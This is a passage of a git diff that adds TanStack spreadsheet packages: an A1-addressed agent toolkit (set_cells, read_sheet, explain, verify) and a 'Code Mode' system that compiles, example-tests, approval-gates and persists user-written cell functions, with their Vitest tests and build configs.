+ if (rect && !inRect(rect, ref.row, ref.col)) return
+ const cell = wb.getCell(ref)
+ if (!cell) return
+ out.push({
+ a1: refToA1(ref),
+ input: cell.input,
+ value: cell.value,
+ kind: cell.kind,
+ })
+ },
+ sheet,
+ )
+ return out.sort((x, y) => (x.a1 < y.a1 ? -1 : 1))
+}
+
+function inRect(r: Rect, row: number, col: number): boolean {
+ return row >= r.r0 && row <= r.r1 && col >= r.c0 && col <= r.c1
+}
+
+export interface Explanation {
+ a1: string
+ value: CellValue
+ input: string
+ /** Cells this formula reads directly (A1). */
+ precedents: Array
+ /** Ranges this formula reads directly (A1, e.g. `Sheet1!A1:A10`). */
+ precedentRanges: Array
+ /** Formulas that read this cell directly (A1). */
+ dependents: Array
+}
+
+/**
+ * Explain a cell — "why is this number this?" — reading the core dependency
+ * graph (no formula re-parsing). `target` is an A1 string.
+ */
+export function explain(
+ wb: Workbook,
+ target: string,
+ defaultSheet?: SheetId,
+): Explanation {
+ const ref = a1ToRef(target, defaultSheet ?? firstSheet(wb))
+ const cell = wb.getCell(ref)
+ const prec = wb.precedentsOf(ref)
+ return {
+ a1: refToA1(ref),
+ value: cell?.value ?? null,
+ input: cell?.input ?? '',
+ precedents: prec.cells.map(refToA1),
+ precedentRanges: prec.ranges.map((r) => rangeToA1(r.sheet, r.rect)),
+ dependents: wb.dependentsOf(ref).map(refToA1),
+ }
+}
+
+/** Every cell currently holding an error value. */
+export function listErrors(wb: Workbook): Array<{ a1: string; code: string }> {
+ const out: Array<{ a1: string; code: string }> = []
+ eachCell(wb, (ref) => {
+ const v = wb.getCell(ref)?.value ?? null
+ if (isErr(v)) out.push({ a1: refToA1(ref), code: v.code })
+ })
+ return out
+}
+
+/** Every cell currently pending (awaiting an async result). */
+export function listPending(wb: Workbook): Array {
+ const out: Array = []
+ eachCell(wb, (ref) => {
+ if (isPending(wb.getCell(ref)?.value ?? null)) out.push(refToA1(ref))
+ })
+ return out
+}
+
+/** The registered-function catalog the agent plans against. */
+export function listFunctions(wb: Workbook): Array {
+ return wb.functionCatalog()
+}
+
+/**
+ * Write cells in **one** `applyPatches` transaction (one recalc, one notify).
+ * Each edit is `{ a1, input }` — a literal (`"20"`) or a formula (`"=B2*0.8"`).
+ * Returns the resulting value per cell. Display is the caller/adapter's job
+ * (there is no format side effect here).
+ */
+export function setCells(
+ wb: Workbook,
+ edits: Array<{ a1: string; input: string }>,
+ defaultSheet?: SheetId,
+): Array<{ a1: string; value: CellValue }> {
+ const sheet = defaultSheet ?? firstSheet(wb)
+ const refs = edits.map((e) => a1ToRef(e.a1, sheet))
+ wb.setMany(edits.map((e, i) => ({ ref: refs[i]!, input: e.input })))
+ return edits.map((e, i) => ({
+ a1: e.a1,
+ value: wb.getCell(refs[i]!)?.value ?? null,
+ }))
+}
+
+/** A caller-supplied assertion, already evaluated against the settled workbook. */
+export interface AgentCheck {
+ label: string
+ ok: boolean
+}
+
+/**
+ * Verify a (settled) sheet: turn failing caller checks and unexpected error
+ * cells into {@link Issue}s (the shared core type). **Pure** — it does not build
+ * or settle; the caller sequences that: `build(wb); await wb.settle(); verify(wb)`.
+ */
+export function verify(
+ wb: Workbook,
+ opts: { sheet?: SheetId; checks?: Array } = {},
+): Array {
+ const issues: Array = []
+ for (const c of opts.checks ?? []) {
+ if (!c.ok) issues.push({ kind: 'check-failed', message: c.label })
+ }
+ eachCell(
+ wb,
+ (ref) => {
+ const v = wb.getCell(ref)?.value ?? null
+ if (isErr(v)) {
+ issues.push({
+ kind: 'check-failed',
+ message: `unexpected error ${v.code} at ${refToA1(ref)}`,
+ ref,
+ })
+ }
+ },
+ opts.sheet,
+ )
+ return issues
+}
+
+/** A framework-agnostic tool spec: name, description, JSON-schema params, execute. */
+export interface SpreadsheetTool {
+ name: string
+ description: string
+ /** JSON Schema for the tool's input. */
+ parameters: Record
+ execute: (input: any) => unknown
+}
+
+/**
+ * The spreadsheet tools as framework-agnostic specs over a live workbook — map
+ * each to your agent framework's tool definition (e.g. TanStack AI's
+ * `toolDefinition`). This is the surface the demo dogfoods.
+ */
+export function spreadsheetTools(
+ wb: Workbook,
+ defaultSheet?: SheetId,
+): Array {
+ return [
+ {
+ name: 'set_cells',
+ description:
+ 'Write literals or formulas into cells in one transaction. Each cell is { a1, input }; input is a literal ("20") or a formula ("=B2*0.8"). Returns the resulting values.',
+ parameters: {
+ type: 'object',
+ properties: {
+ cells: {
+ type: 'array',
+ items: {
+ type: 'object',
+ properties: { a1: { type: 'string' }, input: { type: 'string' } },
+ required: ['a1', 'input'],
+ },
+ },
+ },
+ required: ['cells'],
+ },
+ execute: (input: { cells: Array<{ a1: string; input: string }> }) => ({
+ cells: setCells(wb, input.cells, defaultSheet),
+ }),
+ },
+ {
+ name: 'read_sheet',
+ description:
+ 'Read the populated cells of a sheet: A1 address, input, computed value, and kind.',
+ parameters: {
+ type: 'object',
+ properties: { sheet: { type: 'string' } },
+ },
+ execute: (input: { sheet?: string }) => ({
+ cells: readSheet(wb, input.sheet ?? defaultSheet ?? firstSheet(wb)!),
+ }),
+ },
+ {
+ name: 'explain',
+ description:
+ 'Explain a cell: its value, input, precedents, precedent ranges, and dependents — from the real dependency graph.',
+ parameters: {
+ type: 'object',
+ properties: { a1: { type: 'string' } },
+ required: ['a1'],
+ },
+ execute: (input: { a1: string }) => explain(wb, input.a1, defaultSheet),
+ },
+ ]
+}
diff --git a/packages/spreadsheet-agent/tests/toolkit.test.ts b/packages/spreadsheet-agent/tests/toolkit.test.ts
new file mode 100644
index 0000000000..f9ff08e935
--- /dev/null
+++ b/packages/spreadsheet-agent/tests/toolkit.test.ts
@@ -0,0 +1,86 @@
+import { describe, expect, it } from 'vitest'
+import { Workbook } from '@tanstack/spreadsheet-core'
+import {
+ explain,
+ listErrors,
+ readSheet,
+ setCells,
+ spreadsheetTools,
+ verify,
+} from '../src/index'
+
+function wb() {
+ const w = new Workbook()
+ w.addSheet('s1')
+ return w
+}
+
+describe('agent toolkit — A1-addressed, on the core graph queries', () => {
+ it('setCells writes in one batch; readSheet/listErrors report A1', () => {
+ const w = wb()
+ const out = setCells(w, [
+ { a1: 'A1', input: '10' },
+ { a1: 'A2', input: '20' },
+ { a1: 'A3', input: '=SUM(A1:A2)' },
+ { a1: 'A4', input: '=1/0' },
+ ])
+ expect(out.find((c) => c.a1 === 'A3')?.value).toBe(30)
+
+ const region = readSheet(w, 's1')
+ expect(region.find((c) => c.a1 === 'A3')?.input).toBe('=SUM(A1:A2)')
+
+ expect(listErrors(w)).toContainEqual({ a1: 'A4', code: '#DIV/0!' })
+ })
+
+ it('explain reads the real dependency graph (no re-parsing), A1-addressed', () => {
+ const w = wb()
+ setCells(w, [
+ { a1: 'A1', input: '10' },
+ { a1: 'A2', input: '20' },
+ { a1: 'A3', input: '=SUM(A1:A2)' },
+ { a1: 'A4', input: '=A3*2' },
+ ])
+ const why = explain(w, 'A3')
+ expect(why.value).toBe(30)
+ expect(why.precedentRanges).toContain('s1!A1:A2')
+ expect(why.dependents).toContain('A4') // A4 reads A3
+ })
+
+ it('verify is pure: caller sequences build + settle, then verify returns Issues', () => {
+ const w = wb()
+ // build
+ setCells(w, [
+ { a1: 'A1', input: '10' },
+ { a1: 'A2', input: '20' },
+ { a1: 'A3', input: '=SUM(A1:A2)' },
+ ])
+ // then verify with a caller check (already evaluated against the settled wb)
+ const total = w.getCell({ sheet: 's1', row: 2, col: 0 })?.value
+ const issues = verify(w, {
+ checks: [{ label: 'total is 30', ok: total === 30 }],
+ })
+ expect(issues).toEqual([]) // all good
+
+ // an error cell surfaces as a check-failed issue with its A1 ref
+ setCells(w, [{ a1: 'A4', input: '=1/0' }])
+ const bad = verify(w, {
+ checks: [{ label: 'total is 99', ok: total === 99 }],
+ })
+ expect(bad.some((i) => i.message.includes('total is 99'))).toBe(true)
+ expect(
+ bad.some((i) => i.ref?.row === 3 && i.message.includes('#DIV/0!')),
+ ).toBe(true)
+ })
+
+ it('spreadsheetTools exposes framework-agnostic tool specs', () => {
+ const w = wb()
+ const tools = spreadsheetTools(w, 's1')
+ const names = tools.map((t) => t.name)
+ expect(names).toEqual(['set_cells', 'read_sheet', 'explain'])
+ // executing the set_cells tool writes through the workbook
+ const res = tools[0]!.execute({ cells: [{ a1: 'B1', input: '7' }] }) as {
+ cells: Array<{ a1: string; value: unknown }>
+ }
+ expect(res.cells[0]).toEqual({ a1: 'B1', value: 7 })
+ })
+})
diff --git a/packages/spreadsheet-agent/tsconfig.json b/packages/spreadsheet-agent/tsconfig.json
new file mode 100644
index 0000000000..fa3897629e
--- /dev/null
+++ b/packages/spreadsheet-agent/tsconfig.json
@@ -0,0 +1,4 @@
+{
+ "extends": "../../tsconfig.json",
+ "include": ["src", "tests", "vite.config.ts", "eslint.config.js"]
+}
diff --git a/packages/spreadsheet-agent/tsdown.config.ts b/packages/spreadsheet-agent/tsdown.config.ts
new file mode 100644
index 0000000000..d4b26b4408
--- /dev/null
+++ b/packages/spreadsheet-agent/tsdown.config.ts
@@ -0,0 +1,16 @@
+import { defineConfig } from 'tsdown'
+
+export default defineConfig({
+ entry: ['./src/index.ts'],
+ format: ['esm'],
+ unbundle: true,
+ dts: true,
+ sourcemap: false,
+ clean: true,
+ minify: false,
+ fixedExtension: false,
+ exports: true,
+ publint: {
+ strict: true,
+ },
+})
diff --git a/packages/spreadsheet-agent/vite.config.ts b/packages/spreadsheet-agent/vite.config.ts
new file mode 100644
index 0000000000..1e06f2688b
--- /dev/null
+++ b/packages/spreadsheet-agent/vite.config.ts
@@ -0,0 +1,11 @@
+import { defineConfig } from 'vitest/config'
+import packageJson from './package.json'
+
+export default defineConfig({
+ test: {
+ name: packageJson.name,
+ dir: './tests',
+ watch: false,
+ globals: true,
+ },
+})
diff --git a/packages/spreadsheet-codemode/README.md b/packages/spreadsheet-codemode/README.md
new file mode 100644
index 0000000000..cfec3df7ad
--- /dev/null
+++ b/packages/spreadsheet-codemode/README.md
@@ -0,0 +1,16 @@
+# @tanstack/spreadsheet-codemode
+
+Author spreadsheet functions as small TypeScript programs ("Code Mode") and wire
+them into a `@tanstack/spreadsheet-core` workbook on approval. Compilation
+enforces purity (no `fetch`, timers, `Math.random`/`Date` unless declared
+volatile) and gates registration behind passing examples.
+
+> The default in-process executor uses `new Function` and is **not a sandbox** —
+> a speed bump, not a security boundary. Inject a `CodeExecutor` (e.g. a QuickJS
+> isolate) for untrusted code.
+
+```bash
+npm install @tanstack/spreadsheet-codemode @tanstack/spreadsheet-core
+```
+
+**Experimental.** See the [Spreadsheet docs](https://tanstack.com/table/latest/docs/spreadsheet/overview).
diff --git a/packages/spreadsheet-codemode/eslint.config.js b/packages/spreadsheet-codemode/eslint.config.js
new file mode 100644
index 0000000000..892f5314df
--- /dev/null
+++ b/packages/spreadsheet-codemode/eslint.config.js
@@ -0,0 +1,8 @@
+// @ts-check
+
+import rootConfig from '../../eslint.config.js'
+
+/** @type {any} */
+const config = [...rootConfig]
+
+export default config
diff --git a/packages/spreadsheet-codemode/package.json b/packages/spreadsheet-codemode/package.json
new file mode 100644
index 0000000000..24f644d653
--- /dev/null
+++ b/packages/spreadsheet-codemode/package.json
@@ -0,0 +1,48 @@
+{
+ "name": "@tanstack/spreadsheet-codemode",
+ "version": "9.3.1",
+ "description": "Code Mode cell functions (author/test/approve/persist) for @tanstack/spreadsheet-core (M11).",
+ "author": "Tanner Linsley",
+ "license": "MIT",
+ "repository": {
+ "type": "git",
+ "url": "https://github.com/TanStack/table.git",
+ "directory": "packages/spreadsheet-codemode"
+ },
+ "homepage": "https://tanstack.com/table",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/tannerlinsley"
+ },
+ "keywords": [
+ "tanstack",
+ "spreadsheet",
+ "code-mode",
+ "functions"
+ ],
+ "type": "module",
+ "types": "./dist/index.d.ts",
+ "exports": {
+ ".": "./dist/index.js",
+ "./package.json": "./package.json"
+ },
+ "sideEffects": false,
+ "engines": {
+ "node": ">=20"
+ },
+ "files": [
+ "dist"
+ ],
+ "scripts": {
+ "clean": "rimraf ./build && rimraf ./dist",
+ "test:eslint": "eslint ./src",
+ "test:lib": "vitest",
+ "test:lib:dev": "pnpm test:lib --watch",
+ "test:types": "tsc",
+ "test:build": "publint --strict",
+ "build": "tsdown"
+ },
+ "dependencies": {
+ "@tanstack/spreadsheet-core": "workspace:*"
+ }
+}
diff --git a/packages/spreadsheet-codemode/src/authoring.ts b/packages/spreadsheet-codemode/src/authoring.ts
new file mode 100644
index 0000000000..e1095b29c2
--- /dev/null
+++ b/packages/spreadsheet-codemode/src/authoring.ts
@@ -0,0 +1,101 @@
+/**
+ * The authoring flow (Extension Spec §5.2). Code Mode writes a function; it is
+ * **tested against supplied examples** (input → expected); registration is
+ * blocked until the examples pass — the accuracy mechanism. The staged unit
+ * (source, descriptor, test results) is reviewed and a *separate* approval step
+ * registers it. Approval never happens inside the isolate: the compiled function
+ * body cannot register anything (no capability, and registration is this
+ * ordinary API, called from the chat/host layer after a human approves).
+ */
+
+import { compileCodeFunction } from './compile'
+import { registerCompiled } from './persist'
+import type { CodeFunctionSpec, CompiledCodeFunction } from './compile'
+import type { CellValue, FnContext, Workbook } from '@tanstack/spreadsheet-core'
+
+export interface Example {
+ args: Array
+ expected: CellValue
+}
+
+export interface ExampleResult extends Example {
+ actual: CellValue
+ pass: boolean
+}
+
+export interface StagedFunction {
+ compiled: CompiledCodeFunction
+ results: Array
+ /** True iff every supplied example passed — the gate for registration. */
+ passed: boolean
+}
+
+/** Run a compiled function against literal argument values (no workbook). */
+function runOnce(
+ compiled: CompiledCodeFunction,
+ args: Array,
+): CellValue {
+ const ctx = {
+ args: {
+ length: args.length,
+ scalar: (i: number) => args[i] ?? null,
+ range: () => null,
+ node: () => {
+ throw new Error('code functions receive scalar arguments only')
+ },
+ },
+ clock: { now: () => 0 },
+ rng: { random: () => 0 },
+ } as unknown as FnContext
+ return compiled.def.evaluate!(ctx)
+}
+
+function sameValue(a: CellValue, b: CellValue): boolean {
+ if (
+ a !== null &&
+ b !== null &&
+ typeof a === 'object' &&
+ typeof b === 'object'
+ ) {
+ return (
+ a.kind === b.kind &&
+ (a.kind !== 'error' || a.code === (b as typeof a).code)
+ )
+ }
+ return Object.is(a, b)
+}
+
+/**
+ * Compile a function and run it against the supplied examples. Does **not**
+ * register — that is a separate, human-approved step ({@link approveAndRegister}).
+ */
+export function stageFunction(
+ spec: CodeFunctionSpec,
+ examples: Array = [],
+): StagedFunction {
+ const compiled = compileCodeFunction(spec)
+ const results: Array = examples.map((ex) => {
+ const actual = runOnce(compiled, ex.args)
+ return { ...ex, actual, pass: sameValue(actual, ex.expected) }
+ })
+ // The gate requires at least one supplied, passing example — an empty example
+ // list cannot produce `passed: true` (that was the vacuous-truth bug).
+ return {
+ compiled,
+ results,
+ passed: results.length > 0 && results.every((r) => r.pass),
+ }
+}
+
+/**
+ * Register a staged function (the approval-gated step). Throws if its examples
+ * did not pass — a function cannot be registered until it is verified.
+ */
+export function approveAndRegister(wb: Workbook, staged: StagedFunction): void {
+ if (!staged.passed) {
+ throw new Error(
+ `cannot register ${staged.compiled.spec.name}: supplied examples failed`,
+ )
+ }
+ registerCompiled(wb, staged.compiled)
+}
diff --git a/packages/spreadsheet-codemode/src/compile.ts b/packages/spreadsheet-codemode/src/compile.ts
new file mode 100644
index 0000000000..068f227e80
--- /dev/null
+++ b/packages/spreadsheet-codemode/src/compile.ts
@@ -0,0 +1,242 @@
+/**
+ * Code Mode cell functions (Extension Spec §5) — compile a workbook-carried
+ * TypeScript/JS function into a registrable {@link FunctionDef}, under the
+ * anti-macro rules (§5.3):
+ *
+ * - **Capability-free by default.** The function body runs with ambient I/O
+ * globals shadowed to `undefined` (`fetch`, `require`, `process`, `globalThis`,
+ * `Function`, `eval`, timers, …), so a function that tries to reach the network
+ * or escape the scope fails with an error value rather than doing it. Only its
+ * arguments reach the body. (A production deployment hardens this further with a
+ * real isolate — QuickJS / a worker; this is the in-process approximation.)
+ * - **Purity profile.** `Date` and `Math.random` are removed unless the descriptor
+ * declares `volatile`, in which case the function is volatile everywhere.
+ * - **Read-only arguments, no workbook mutation.** The body gets argument values,
+ * nothing else — it cannot call `setInput` or reach the workbook.
+ *
+ * The version hash (source + signature) identifies the function; editing it
+ * produces a new version so every call site invalidates (via
+ * `workbook.upsertFunction`).
+ */
+
+import { isBlocking } from '@tanstack/spreadsheet-core'
+import type {
+ ArgDescriptor,
+ BlockingValue,
+ CellValue,
+ CellValueType,
+ FunctionDef,
+ RangeArg,
+} from '@tanstack/spreadsheet-core'
+
+export interface CodeFunctionSpec {
+ /** Registered name — namespaced (e.g. `FN.TRUE_RUNWAY`). */
+ name: string
+ args: Array<{ name: string; type?: CellValueType; acceptsRange?: boolean }>
+ returns?: CellValueType
+ description?: string
+ /** JS function body. Parameters are the arg names; it must `return` a value. */
+ source: string
+ /** Opt into ambient nondeterminism (`Date`, `Math.random`) — RAND semantics. */
+ volatile?: boolean
+}
+
+export interface CompiledCodeFunction {
+ def: FunctionDef
+ version: string
+ spec: CodeFunctionSpec
+}
+
+/**
+ * Ambient globals denied to a capability-free function body — shadowed to
+ * `undefined` as parameters. (`eval` and `import` are reserved words and can't be
+ * parameter names; `"use strict"` already neuters `eval` scope access. Full
+ * isolation needs a real isolate — QuickJS / a worker — this is the in-process
+ * approximation.)
+ */
+const DENY = [
+ 'fetch',
+ 'XMLHttpRequest',
+ 'WebSocket',
+ 'require',
+ 'module',
+ 'process',
+ 'global',
+ 'globalThis',
+ 'window',
+ 'self',
+ 'document',
+ 'localStorage',
+ 'Function',
+ 'setTimeout',
+ 'setInterval',
+ 'queueMicrotask',
+]
+
+/**
+ * A stable 64-bit hex hash (two independent FNV-1a streams) — collision-
+ * resistant enough to be load-bearing for cache invalidation, where the old
+ * 32-bit hash risked a silent collision between two function versions.
+ */
+export function hashSource(input: string): string {
+ let h1 = 0x811c9dc5
+ let h2 = 0xc9dc5118
+ for (let i = 0; i < input.length; i++) {
+ const c = input.charCodeAt(i)
+ h1 = Math.imul(h1 ^ c, 0x01000193)
+ h2 = Math.imul(h2 ^ c, 0x01000197)
+ }
+ const hex = (n: number) => (n >>> 0).toString(16).padStart(8, '0')
+ return hex(h1) + hex(h2)
+}
+
+/** `Math` without `random` — used for non-volatile functions. */
+function sanitizedMath(): typeof Math {
+ const m = {} as Record
+ for (const k of Object.getOwnPropertyNames(Math)) m[k] = (Math as never)[k]
+ m.random = () => {
+ throw new Error('Math.random is unavailable in a non-volatile function')
+ }
+ return Object.freeze(m) as unknown as typeof Math
+}
+const SAFE_MATH = sanitizedMath()
+
+/**
+ * Host-injected execution port for Code Mode — the codebase's port pattern
+ * (Clock, AsyncPort, SheetProvider). A host plugs in a real isolate (QuickJS, a
+ * worker) by implementing {@link CodeExecutor}; the compiler stays agnostic of
+ * how the body is run.
+ */
+export interface CodeExecutor {
+ /**
+ * Compile a capability-free function body (which `return`s a value) into a
+ * callable that takes the argument values positionally and returns the result
+ * (or throws). Enforcing purity/capability-freedom is the executor's job.
+ */
+ compile: (opts: {
+ source: string
+ params: Array
+ volatile: boolean
+ }) => (args: Array) => unknown
+}
+
+/**
+ * **Not a sandbox.** The default, dev/test executor: it runs the body in-process
+ * via `new Function` with I/O globals shadowed to `undefined` and `Date`/
+ * `Math.random` removed unless volatile. Shadowing is a speed bump, not a
+ * security boundary — a production host MUST inject a real isolate
+ * ({@link CodeExecutor}) instead of trusting this.
+ */
+export const unsafeInProcessExecutor: CodeExecutor = {
+ compile({ source, params, volatile }) {
+ const raw = new Function(
+ ...DENY,
+ 'Date',
+ 'Math',
+ ...params,
+ `"use strict";\n${source}`,
+ ) as (...a: Array) => unknown
+ const denied = DENY.map(() => undefined)
+ return (args) =>
+ raw(
+ ...denied,
+ volatile ? Date : undefined,
+ volatile ? Math : SAFE_MATH,
+ ...args,
+ )
+ },
+}
+
+function toCell(v: unknown): CellValue {
+ if (v === null || v === undefined) return null
+ if (typeof v === 'boolean' || typeof v === 'string') return v
+ if (typeof v === 'number') {
+ return Number.isFinite(v) ? v : { kind: 'error', code: '#NUM!' }
+ }
+ return { kind: 'error', code: '#VALUE!' } // objects/arrays aren't scalars
+}
+
+/**
+ * Materialize a range argument to a dense 2D grid of values, propagating a
+ * blocking (error/pending) cell. Bounded to 65 536 cells — a range argument is
+ * a bounded block, not a whole column.
+ */
+function materializeGrid(
+ rng: RangeArg,
+): Array> | BlockingValue {
+ if (rng.rows * rng.cols > 65_536) return { kind: 'error', code: '#VALUE!' }
+ const grid: Array> = []
+ for (let r = 0; r < rng.rows; r++) {
+ const row: Array = []
+ for (let c = 0; c < rng.cols; c++) {
+ const v = rng.at(r, c)
+ if (isBlocking(v)) return v
+ row.push(v)
+ }
+ grid.push(row)
+ }
+ return grid
+}
+
+export function compileCodeFunction(
+ spec: CodeFunctionSpec,
+ executor: CodeExecutor = unsafeInProcessExecutor,
+): CompiledCodeFunction {
+ const argNames = spec.args.map((a) => a.name)
+ const version = hashSource(
+ `${spec.name}|${argNames.join(',')}|${spec.volatile ? 'v' : ''}|${spec.source}`,
+ )
+
+ // Compile once through the executor port (default: the in-process fallback).
+ const run = executor.compile({
+ source: spec.source,
+ params: argNames,
+ volatile: !!spec.volatile,
+ })
+
+ const args: Array = spec.args.map((a) => ({
+ name: a.name,
+ type: a.type,
+ acceptsRange: a.acceptsRange,
+ }))
+
+ const def: FunctionDef = {
+ name: spec.name,
+ kind: 'sync',
+ minArgs: spec.args.length,
+ maxArgs: spec.args.length,
+ volatile: spec.volatile,
+ version,
+ description: spec.description,
+ args,
+ returns: spec.returns,
+ evaluate(ctx) {
+ const values: Array = []
+ for (let i = 0; i < spec.args.length; i++) {
+ // A range argument (declared `acceptsRange`) is passed through as a dense
+ // 2D array of values — non-builtins receive ranges like builtins do.
+ if (spec.args[i]!.acceptsRange) {
+ const rng = ctx.args.range(i)
+ if (rng) {
+ const grid = materializeGrid(rng)
+ if (grid && !Array.isArray(grid)) return grid // blocking
+ values.push(grid)
+ continue
+ }
+ }
+ const v = ctx.args.scalar(i)
+ if (isBlocking(v)) return v // propagate errors / pending
+ values.push(v)
+ }
+ try {
+ return toCell(run(values))
+ } catch (e) {
+ // Keep the thrown message reachable (Principle 3) instead of a bare code.
+ const detail = e instanceof Error ? e.message : String(e)
+ return { kind: 'error', code: '#VALUE!', detail }
+ }
+ },
+ }
+
+ return { def, version, spec }
+}
diff --git a/packages/spreadsheet-codemode/src/index.ts b/packages/spreadsheet-codemode/src/index.ts
new file mode 100644
index 0000000000..b6458526a7
--- /dev/null
+++ b/packages/spreadsheet-codemode/src/index.ts
@@ -0,0 +1,24 @@
+export {
+ compileCodeFunction,
+ hashSource,
+ unsafeInProcessExecutor,
+} from './compile'
+export type {
+ CodeFunctionSpec,
+ CompiledCodeFunction,
+ CodeExecutor,
+} from './compile'
+
+export { stageFunction, approveAndRegister } from './authoring'
+export type { Example, ExampleResult, StagedFunction } from './authoring'
+
+export {
+ registerCompiled,
+ exportCodeFunctions,
+ rehydrateCodeFunctions,
+} from './persist'
+export type { CodeFunctionRecord } from './persist'
+
+// The agent read/build toolkit moved to its own package,
+// `@tanstack/spreadsheet-agent` (A1-addressed, on the core graph queries).
+// Code Mode is now only authoring: compile / stage / approve / persist.
diff --git a/packages/spreadsheet-codemode/src/persist.ts b/packages/spreadsheet-codemode/src/persist.ts
new file mode 100644
index 0000000000..9186595b30
--- /dev/null
+++ b/packages/spreadsheet-codemode/src/persist.ts
@@ -0,0 +1,47 @@
+/**
+ * Persistence (Extension Spec §5.2 step 5). A registered code function lives in
+ * the **one workbook registry** (origin `code-mode`), carrying its source +
+ * descriptor + version hash as the registry's per-function source record. There
+ * is no sidecar: `workbook.removeFunction` drops the record too, so the
+ * export/rehydrate resurrection bug cannot happen. Editing a function creates a
+ * new version hash, and `upsertFunction` re-evaluates every call site.
+ */
+
+import { compileCodeFunction } from './compile'
+import type { CodeFunctionSpec, CompiledCodeFunction } from './compile'
+import type { Workbook } from '@tanstack/spreadsheet-core'
+
+export interface CodeFunctionRecord extends CodeFunctionSpec {
+ version: string
+}
+
+/**
+ * Register a compiled function into the workbook registry with origin
+ * `code-mode`, attaching its serializable record so it survives export.
+ */
+export function registerCompiled(
+ wb: Workbook,
+ compiled: CompiledCodeFunction,
+): void {
+ const record: CodeFunctionRecord = {
+ ...compiled.spec,
+ version: compiled.version,
+ }
+ wb.upsertFunction(compiled.def, { origin: 'code-mode', source: record })
+}
+
+/**
+ * The code functions registered on `wb` — read straight from the registry, so a
+ * removed function is gone here too. Persist these with the workbook.
+ */
+export function exportCodeFunctions(wb: Workbook): Array {
+ return wb.functionSources('code-mode') as Array
+}
+
+/** Recompile + register persisted code functions into a (re)loaded workbook. */
+export function rehydrateCodeFunctions(
+ wb: Workbook,
+ records: Array,
+): void {
+ for (const rec of records) registerCompiled(wb, compileCodeFunction(rec))
+}
diff --git a/packages/spreadsheet-codemode/tests/codemode.test.ts b/packages/spreadsheet-codemode/tests/codemode.test.ts
new file mode 100644
index 0000000000..52574077a4
--- /dev/null
+++ b/packages/spreadsheet-codemode/tests/codemode.test.ts
@@ -0,0 +1,160 @@
+/**
+ * M11 — Code Mode cell functions (§5) + AI read/build tools (§7). Acceptance:
+ * a function authored in a sandbox passes supplied examples, is staged,
+ * approved, registered, persisted, and rehydrated on reload; capability-free
+ * enforcement is tested (a function attempting fetch fails); a version bump
+ * invalidates call sites; approval never occurs inside the isolate.
+ */
+
+import { describe, expect, it } from 'vitest'
+import { Workbook } from '@tanstack/spreadsheet-core'
+import {
+ approveAndRegister,
+ compileCodeFunction,
+ exportCodeFunctions,
+ rehydrateCodeFunctions,
+ stageFunction,
+} from '../src/index'
+import type { CellValue, Ref } from '@tanstack/spreadsheet-core'
+
+const ref = (row: number, col: number, sheet = 's1'): Ref => ({
+ sheet,
+ row,
+ col,
+})
+const val = (w: Workbook, r: number, c: number): CellValue =>
+ w.getCell(ref(r, c))?.value ?? null
+
+function wb() {
+ const w = new Workbook()
+ w.addSheet('s1')
+ return w
+}
+
+// The demo's company-specific function: true runway excludes a one-off spike.
+const TRUE_RUNWAY = {
+ name: 'FN.TRUE_RUNWAY',
+ args: [{ name: 'burn' }, { name: 'cash' }, { name: 'oneOff' }],
+ returns: 'number' as const,
+ description: 'Months of runway, excluding a one-off spend spike from burn.',
+ source: 'return Math.round((cash / (burn - oneOff)) * 10) / 10',
+}
+
+describe('M11 authoring → test → approve → register', () => {
+ it('blocks registration until supplied examples pass, then registers', () => {
+ const w = wb()
+ const good = stageFunction(TRUE_RUNWAY, [
+ { args: [100, 1120, 0], expected: 11.2 },
+ { args: [50, 500, 10], expected: 12.5 },
+ ])
+ expect(good.passed).toBe(true)
+ expect(good.results.every((r) => r.pass)).toBe(true)
+
+ // A wrong example blocks registration (the accuracy gate).
+ const bad = stageFunction(TRUE_RUNWAY, [
+ { args: [100, 1120, 0], expected: 99 },
+ ])
+ expect(bad.passed).toBe(false)
+ expect(() => approveAndRegister(w, bad)).toThrow(/examples failed/)
+
+ approveAndRegister(w, good)
+ w.applyPatches([
+ ...w.setInput(ref(0, 0), '100'),
+ ...w.setInput(ref(0, 1), '1120'),
+ ...w.setInput(ref(0, 2), '0'),
+ ...w.setInput(ref(0, 3), '=FN.TRUE_RUNWAY(A1,B1,C1)'),
+ ])
+ expect(val(w, 0, 3)).toBe(11.2)
+ expect(w.functionCatalog().some((e) => e.name === 'FN.TRUE_RUNWAY')).toBe(
+ true,
+ )
+ })
+
+ it('a version bump (edited source) invalidates existing call sites', () => {
+ const w = wb()
+ approveAndRegister(
+ w,
+ stageFunction(TRUE_RUNWAY, [{ args: [100, 1120, 0], expected: 11.2 }]),
+ )
+ w.applyPatches([
+ ...w.setInput(ref(0, 0), '100'),
+ ...w.setInput(ref(0, 1), '1200'),
+ ...w.setInput(ref(0, 2), '0'),
+ ...w.setInput(ref(0, 3), '=FN.TRUE_RUNWAY(A1,B1,C1)'),
+ ])
+ expect(val(w, 0, 3)).toBe(12)
+
+ // Edit the function: now round to whole months. Same name → new version.
+ const v2 = compileCodeFunction({
+ ...TRUE_RUNWAY,
+ source: 'return Math.floor(cash / (burn - oneOff))',
+ })
+ expect(v2.version).not.toBe(compileCodeFunction(TRUE_RUNWAY).version)
+ w.upsertFunction(v2.def) // re-evaluates call sites
+ expect(val(w, 0, 3)).toBe(12) // floor(12.0) — still 12, but recomputed by v2
+
+ // prove the call site really recomputed under v2 semantics
+ w.applyPatches(w.setInput(ref(0, 1), '1250'))
+ expect(val(w, 0, 3)).toBe(12) // floor(12.5) = 12 (v2), not 12.5
+ })
+})
+
+describe('M11 persistence + rehydration', () => {
+ it('persists and rehydrates a code function into a reloaded workbook', () => {
+ const w1 = wb()
+ approveAndRegister(
+ w1,
+ stageFunction(TRUE_RUNWAY, [{ args: [100, 1120, 0], expected: 11.2 }]),
+ )
+ const saved = exportCodeFunctions(w1)
+ expect(saved).toHaveLength(1)
+ expect(saved[0]!.version).toBeTruthy()
+
+ // reload: a fresh workbook with the saved formula but no functions yet
+ const w2 = wb()
+ w2.applyPatches([
+ ...w2.setInput(ref(0, 0), '100'),
+ ...w2.setInput(ref(0, 1), '1120'),
+ ...w2.setInput(ref(0, 2), '0'),
+ ...w2.setInput(ref(0, 3), '=FN.TRUE_RUNWAY(A1,B1,C1)'),
+ ])
+ expect(val(w2, 0, 3)).not.toBe(11.2) // #NAME? before rehydration
+
+ rehydrateCodeFunctions(w2, saved)
+ expect(val(w2, 0, 3)).toBe(11.2) // call sites recomputed after rehydration
+ })
+})
+
+describe('M11 capability-free sandbox (anti-macro)', () => {
